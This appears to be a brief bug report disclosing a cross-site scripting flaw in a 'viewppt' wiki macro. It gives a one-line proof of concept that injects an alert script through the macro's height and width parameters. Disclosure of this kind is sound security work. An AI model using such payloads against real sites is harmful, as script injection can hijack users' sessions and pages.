XSS vulnerability can be exploited with the viewppt macro

{viewppt:test.ppt|height=<script>alert("xss")</script>|width=<script>alert("xss")</script>}